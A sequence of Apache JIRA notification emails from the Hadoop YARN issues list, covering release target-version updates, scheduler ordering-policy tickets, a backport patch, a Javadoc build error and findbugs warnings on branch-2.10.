[ https://issues.apache.org/jira/browse/YARN-9615?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17191258#comment-17191258 ] Masatake Iwasaki commented on YARN-9615: updated the target version for preparing 2.10.1 release. > Add dispatcher metrics to RM > > > Key: YARN-9615 > URL: https://issues.apache.org/jira/browse/YARN-9615 > Project: Hadoop YARN > Issue Type: Task >Reporter: Jonathan Hung >Assignee: Jonathan Hung >Priority: Major > Attachments: YARN-9615.poc.patch, screenshot-1.png > > > It'd be good to have counts/processing times for each event type in RM async > dispatcher and scheduler async dispatcher. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9751) Separate queue and app ordering policy capacity scheduler configs
[
https://issues.apache.org/jira/browse/YARN-9751?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-9751:
---
Target Version/s: (was: 2.10.1)
> Separate queue and app ordering policy capacity scheduler configs
> -
>
> Key: YARN-9751
> URL: https://issues.apache.org/jira/browse/YARN-9751
> Project: Hadoop YARN
> Issue Type: Task
>Reporter: Jonathan Hung
>Assignee: Jonathan Hung
>Priority: Major
> Attachments: YARN-9751.001.patch, YARN-9751.002.patch,
> YARN-9751.003.patch
>
>
> Right now it's not possible to specify distinct app and queue ordering
> policies since they share the same {{ordering-policy}} suffix.
> There's already a TODO in CapacitySchedulerConfiguration for this. This Jira
> intends to fix it.
> {noformat}
> // TODO (wangda): We need to better distinguish app ordering policy and queue
> // ordering policy's classname / configuration options, etc. And dedup code
> // if possible.{noformat}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9751) Separate queue and app ordering policy capacity scheduler configs
[
https://issues.apache.org/jira/browse/YARN-9751?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17191257#comment-17191257
]
Masatake Iwasaki commented on YARN-9751:
I removed the target version.
> Separate queue and app ordering policy capacity scheduler configs
> -
>
> Key: YARN-9751
> URL: https://issues.apache.org/jira/browse/YARN-9751
> Project: Hadoop YARN
> Issue Type: Task
>Reporter: Jonathan Hung
>Assignee: Jonathan Hung
>Priority: Major
> Attachments: YARN-9751.001.patch, YARN-9751.002.patch,
> YARN-9751.003.patch
>
>
> Right now it's not possible to specify distinct app and queue ordering
> policies since they share the same {{ordering-policy}} suffix.
> There's already a TODO in CapacitySchedulerConfiguration for this. This Jira
> intends to fix it.
> {noformat}
> // TODO (wangda): We need to better distinguish app ordering policy and queue
> // ordering policy's classname / configuration options, etc. And dedup code
> // if possible.{noformat}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9770) Create a queue ordering policy which picks child queues with equal probability
[ https://issues.apache.org/jira/browse/YARN-9770?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17191256#comment-17191256 ] Masatake Iwasaki commented on YARN-9770: updated the target version for preparing 2.10.1 release. There is no recent update and the patch is not cleanly applicable. > Create a queue ordering policy which picks child queues with equal probability > -- > > Key: YARN-9770 > URL: https://issues.apache.org/jira/browse/YARN-9770 > Project: Hadoop YARN > Issue Type: Improvement >Reporter: Jonathan Hung >Assignee: Jonathan Hung >Priority: Major > Attachments: YARN-9770.001.patch, YARN-9770.002.patch, > YARN-9770.003.patch, activeUsers_overlay.png > > > Ran some simulations with the default queue_utilization_ordering_policy: > An underutilized queue which receives an application with many (thousands) > resource requests will hog scheduler allocations for a long time (on the > order of a minute). In the meantime apps are getting submitted to all other > queues, which increases activeUsers in these queues, which drops user limit > in these queues to small values if minimum-user-limit-percent is configured > to small values (e.g. 10%). > To avoid this issue, we assign to queues with equal probability, to avoid > scenarios where queues don't get allocations for a long time. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9770) Create a queue ordering policy which picks child queues with equal probability
[ https://issues.apache.org/jira/browse/YARN-9770?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9770: --- Target Version/s: 2.10.2 (was: 2.10.1) > Create a queue ordering policy which picks child queues with equal probability > -- > > Key: YARN-9770 > URL: https://issues.apache.org/jira/browse/YARN-9770 > Project: Hadoop YARN > Issue Type: Improvement >Reporter: Jonathan Hung >Assignee: Jonathan Hung >Priority: Major > Attachments: YARN-9770.001.patch, YARN-9770.002.patch, > YARN-9770.003.patch, activeUsers_overlay.png > > > Ran some simulations with the default queue_utilization_ordering_policy: > An underutilized queue which receives an application with many (thousands) > resource requests will hog scheduler allocations for a long time (on the > order of a minute). In the meantime apps are getting submitted to all other > queues, which increases activeUsers in these queues, which drops user limit > in these queues to small values if minimum-user-limit-percent is configured > to small values (e.g. 10%). > To avoid this issue, we assign to queues with equal probability, to avoid > scenarios where queues don't get allocations for a long time. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10177) Backport YARN-7307 to branch-2.10 Allow client/AM update supported resource types via YARN APIs
[ https://issues.apache.org/jira/browse/YARN-10177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17190936#comment-17190936 ] Masatake Iwasaki commented on YARN-10177: - Thanks, [~epayne]. > Backport YARN-7307 to branch-2.10 Allow client/AM update supported resource > types via YARN APIs > --- > > Key: YARN-10177 > URL: https://issues.apache.org/jira/browse/YARN-10177 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 2.10.0 >Reporter: Wei-Chiu Chuang >Assignee: Wei-Chiu Chuang >Priority: Blocker > Fix For: 2.10.1 > > Attachments: YARN-10177-branch-2.10.002.patch > > > While working to make Submarine to support Hadoop 2.10, I found a few tests > failed due to YARN-7307. It was a blocker in Hadoop 3.0/3.1. I think we > should backport it for 2.10.1 too. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10177) Backport YARN-7307 to branch-2.10 Allow client/AM update supported resource types via YARN APIs
[ https://issues.apache.org/jira/browse/YARN-10177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17190584#comment-17190584 ] Masatake Iwasaki commented on YARN-10177: - The [PR #1873|https://github.com/apache/hadoop/pull/1873] is against branch-2.10.0 and trivially conflicts with current branch-2.10. I attached YARN-10177-branch-2.10.002.patch fixing conflicts. > Backport YARN-7307 to branch-2.10 Allow client/AM update supported resource > types via YARN APIs > --- > > Key: YARN-10177 > URL: https://issues.apache.org/jira/browse/YARN-10177 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 2.10.0 >Reporter: Wei-Chiu Chuang >Assignee: Wei-Chiu Chuang >Priority: Blocker > Attachments: YARN-10177-branch-2.10.002.patch > > > While working to make Submarine to support Hadoop 2.10, I found a few tests > failed due to YARN-7307. It was a blocker in Hadoop 3.0/3.1. I think we > should backport it for 2.10.1 too. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10177) Backport YARN-7307 to branch-2.10 Allow client/AM update supported resource types via YARN APIs
[ https://issues.apache.org/jira/browse/YARN-10177?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10177: Attachment: YARN-10177-branch-2.10.002.patch > Backport YARN-7307 to branch-2.10 Allow client/AM update supported resource > types via YARN APIs > --- > > Key: YARN-10177 > URL: https://issues.apache.org/jira/browse/YARN-10177 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 2.10.0 >Reporter: Wei-Chiu Chuang >Assignee: Wei-Chiu Chuang >Priority: Blocker > Attachments: YARN-10177-branch-2.10.002.patch > > > While working to make Submarine to support Hadoop 2.10, I found a few tests > failed due to YARN-7307. It was a blocker in Hadoop 3.0/3.1. I think we > should backport it for 2.10.1 too. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-8118) Better utilize gracefully decommissioning node managers
[ https://issues.apache.org/jira/browse/YARN-8118?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-8118: --- Target Version/s: 3.1.5, 2.10.2 (was: 3.1.0, 2.10.1) > Better utilize gracefully decommissioning node managers > --- > > Key: YARN-8118 > URL: https://issues.apache.org/jira/browse/YARN-8118 > Project: Hadoop YARN > Issue Type: Sub-task > Components: yarn >Affects Versions: 2.8.2 > Environment: * Google Compute Engine (Dataproc) > * Java 8 > * Hadoop 2.8.2 using client-mode graceful decommissioning >Reporter: Karthik Palaniappan >Assignee: Karthik Palaniappan >Priority: Major > Attachments: YARN-8118-branch-2.001.patch > > > Proposal design doc with background + details (please comment directly on > doc): > [https://docs.google.com/document/d/1hF2Bod_m7rPgSXlunbWGn1cYi3-L61KvQhPlY9Jk9Hk/edit#heading=h.ab4ufqsj47b7] > tl;dr Right now, DECOMMISSIONING nodes must wait for in-progress applications > to complete before shutting down, but they cannot run new containers from > those in-progress applications. This is wasteful, particularly in > environments where you are billed by resource usage (e.g. EC2). > Proposal: YARN should schedule containers from in-progress applications on > DECOMMISSIONING nodes, but should still avoid scheduling containers from new > applications. That will make in-progress applications complete faster and let > nodes decommission faster. Overall, this should be cheaper. > I have a working patch without unit tests that's surprisingly just a few real > lines of code (patch 001). If folks are happy with the proposal, I'll write > unit tests and also write a patch targeted at trunk. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-8118) Better utilize gracefully decommissioning node managers
[ https://issues.apache.org/jira/browse/YARN-8118?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17190558#comment-17190558 ] Masatake Iwasaki commented on YARN-8118: updated the target version for preparing 2.10.1 release. > Better utilize gracefully decommissioning node managers > --- > > Key: YARN-8118 > URL: https://issues.apache.org/jira/browse/YARN-8118 > Project: Hadoop YARN > Issue Type: Sub-task > Components: yarn >Affects Versions: 2.8.2 > Environment: * Google Compute Engine (Dataproc) > * Java 8 > * Hadoop 2.8.2 using client-mode graceful decommissioning >Reporter: Karthik Palaniappan >Assignee: Karthik Palaniappan >Priority: Major > Attachments: YARN-8118-branch-2.001.patch > > > Proposal design doc with background + details (please comment directly on > doc): > [https://docs.google.com/document/d/1hF2Bod_m7rPgSXlunbWGn1cYi3-L61KvQhPlY9Jk9Hk/edit#heading=h.ab4ufqsj47b7] > tl;dr Right now, DECOMMISSIONING nodes must wait for in-progress applications > to complete before shutting down, but they cannot run new containers from > those in-progress applications. This is wasteful, particularly in > environments where you are billed by resource usage (e.g. EC2). > Proposal: YARN should schedule containers from in-progress applications on > DECOMMISSIONING nodes, but should still avoid scheduling containers from new > applications. That will make in-progress applications complete faster and let > nodes decommission faster. Overall, this should be cheaper. > I have a working patch without unit tests that's surprisingly just a few real > lines of code (patch 001). If folks are happy with the proposal, I'll write > unit tests and also write a patch targeted at trunk. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9869) Create scheduling policy to auto-adjust queue elasticity based on cluster demand
[ https://issues.apache.org/jira/browse/YARN-9869?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17190556#comment-17190556 ] Masatake Iwasaki commented on YARN-9869: updated the target version for preparing 2.10.1 release. > Create scheduling policy to auto-adjust queue elasticity based on cluster > demand > > > Key: YARN-9869 > URL: https://issues.apache.org/jira/browse/YARN-9869 > Project: Hadoop YARN > Issue Type: New Feature >Reporter: Jonathan Hung >Priority: Major > > Currently LinkedIn has a policy to auto-adjust queue elasticity based on > real-time queue demand. We've been running this policy in production for a > long time and it has helped improve overall cluster utilization. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9736) Recursively configure app ordering policies
[
https://issues.apache.org/jira/browse/YARN-9736?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-9736:
---
Target Version/s: 2.10.2 (was: 2.10.1)
> Recursively configure app ordering policies
> ---
>
> Key: YARN-9736
> URL: https://issues.apache.org/jira/browse/YARN-9736
> Project: Hadoop YARN
> Issue Type: Task
>Reporter: Jonathan Hung
>Assignee: Jonathan Hung
>Priority: Major
> Attachments: YARN-9736.001.patch
>
>
> Currently app ordering policy will find confs with prefix
> {{.ordering-policy}}. For queues with same ordering policy
> configurations it's easier to have a queue inherit confs from its parent.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9736) Recursively configure app ordering policies
[
https://issues.apache.org/jira/browse/YARN-9736?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17190557#comment-17190557
]
Masatake Iwasaki commented on YARN-9736:
updated the target version for preparing 2.10.1 release.
> Recursively configure app ordering policies
> ---
>
> Key: YARN-9736
> URL: https://issues.apache.org/jira/browse/YARN-9736
> Project: Hadoop YARN
> Issue Type: Task
>Reporter: Jonathan Hung
>Assignee: Jonathan Hung
>Priority: Major
> Attachments: YARN-9736.001.patch
>
>
> Currently app ordering policy will find confs with prefix
> {{.ordering-policy}}. For queues with same ordering policy
> configurations it's easier to have a queue inherit confs from its parent.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9869) Create scheduling policy to auto-adjust queue elasticity based on cluster demand
[ https://issues.apache.org/jira/browse/YARN-9869?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9869: --- Target Version/s: 2.10.2 (was: 2.10.1) > Create scheduling policy to auto-adjust queue elasticity based on cluster > demand > > > Key: YARN-9869 > URL: https://issues.apache.org/jira/browse/YARN-9869 > Project: Hadoop YARN > Issue Type: New Feature >Reporter: Jonathan Hung >Priority: Major > > Currently LinkedIn has a policy to auto-adjust queue elasticity based on > real-time queue demand. We've been running this policy in production for a > long time and it has helped improve overall cluster utilization. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Assigned] (YARN-10419) Javadoc error in hadoop-yarn-server-common module
[
https://issues.apache.org/jira/browse/YARN-10419?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki reassigned YARN-10419:
---
Assignee: Masatake Iwasaki
> Javadoc error in hadoop-yarn-server-common module
> -
>
> Key: YARN-10419
> URL: https://issues.apache.org/jira/browse/YARN-10419
> Project: Hadoop YARN
> Issue Type: Bug
> Components: build, documentation
>Reporter: Akira Ajisaka
>Assignee: Masatake Iwasaki
>Priority: Major
>
> {noformat}
> $ mvn clean process-sources javadoc:javadoc-no-fork -pl
> hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common
> (snip)
> [ERROR]
> /Users/aajisaka/git/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/webapp/dao/RemoteLogPathEntry.java:23:
> error: unknown tag: ROOT_PATH
> [ERROR] * /%USER/
> [ERROR] ^
> [ERROR]
> /Users/aajisaka/git/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/webapp/dao/RemoteLogPathEntry.java:23:
> error: unknown tag: SUFFIX
> [ERROR] * /%USER/
> {noformat}
> Full log: https://gist.github.com/aajisaka/46fde3cbd9211fc09ee4040b85251e9c
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10358) Fix findbugs warnings in hadoop-yarn-project on branch-2.10
[
https://issues.apache.org/jira/browse/YARN-10358?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17162053#comment-17162053
]
Masatake Iwasaki commented on YARN-10358:
-
BX_UNBOXING_IMMEDIATELY_REBOXED is not seen in trunk becasuse compiling by Java
8 does not generate it. I'm going to add filter condition for this in order to
keep the code in sync with trunk for ease of backporting fixes.
> Fix findbugs warnings in hadoop-yarn-project on branch-2.10
> ---
>
> Key: YARN-10358
> URL: https://issues.apache.org/jira/browse/YARN-10358
> Project: Hadoop YARN
> Issue Type: Bug
>Affects Versions: 2.10.0
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Minor
>
> {noformat}
> $ find . -name findbugsXml.xml | xargs -n 1
> /opt/findbugs-3.0.1/bin/convertXmlToText -longBugCodes
> M P WMI_WRONG_MAP_ITERATOR WMI:
> org.apache.hadoop.yarn.state.StateMachineFactory.generateStateGraph(String)
> makes inefficient use of keySet iterator instead of entrySet iterator At
> StateMachineFactory.java:[line 505]
> M P BX_UNBOXING_IMMEDIATELY_REBOXED Bx: Boxed value is unboxed and then
> immediately reboxed in
> org.apache.hadoop.yarn.server.timelineservice.storage.common.ColumnRWHelper.readResultsWithTimestamps(Result,
> byte[], byte[], KeyConverter, ValueConverter, boolean) At
> ColumnRWHelper.java:[line 335]
> M D UC_USELESS_OBJECT UC: Useless object stored in variable
> removedNullContainers of method
> org.apache.hadoop.yarn.server.nodemanager.NodeStatusUpdaterImpl.removeOrTrackCompletedContainersFromContext(List)
> At NodeStatusUpdaterImpl.java:[line 664]
> M P WMI_WRONG_MAP_ITERATOR WMI:
> org.apache.hadoop.yarn.server.nodemanager.NodeStatusUpdaterImpl.removeVeryOldStoppedContainersFromCache()
> makes inefficient use of keySet iterator instead of entrySet iterator At
> NodeStatusUpdaterImpl.java:[line 741]
> M P WMI_WRONG_MAP_ITERATOR WMI:
> org.apache.hadoop.yarn.server.nodemanager.containermanager.localizer.ContainerLocalizer.createStatus()
> makes inefficient use of keySet iterator instead of entrySet iterator At
> ContainerLocalizer.java:[line 359]
> M V MS_MUTABLE_COLLECTION_PKGPROTECT MS:
> org.apache.hadoop.yarn.server.nodemanager.containermanager.monitor.ContainerMetrics.usageMetrics
> is a mutable collection which should be package protected At
> ContainerMetrics.java:[line 134]
> {noformat}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
